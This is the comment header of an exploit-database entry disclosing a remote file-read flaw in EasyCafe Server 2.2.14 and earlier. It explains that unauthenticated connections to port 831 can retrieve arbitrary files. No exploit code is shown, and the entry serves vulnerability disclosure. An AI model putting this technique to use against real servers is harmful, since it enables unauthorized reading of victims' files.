# Title : EasyCafe Server <= 2.2.14 Remote File Read
# Date : 25/12/2015
# Author : R-73eN
# Tested on : Windows 7 Ultimate
# Software Link : http://www.tinasoft.com/easycafe/
# Download Link: http://www.tinasoft.com/Download/easysetup.exe
# Vulnerable Versions : EasyCafe Server <= 2.2.14
# EasyCafe Server has a feature to upload file from the server to a client.
# And the request is as following. EasyCafe Server sends an UDP request to the client with the file that wants to upload,
# Then the client receives the packet and connects to the server on port 831 and sends the directory of the file and receives it.
# The problem is that a remote attacker can connect to port 831 and can retrive a file becuase the server doesn't validate the request,
# and does not check if it has sent the UDP request which gives us full Read access to the system.
#
#EDB Note: Code my need some adjusting
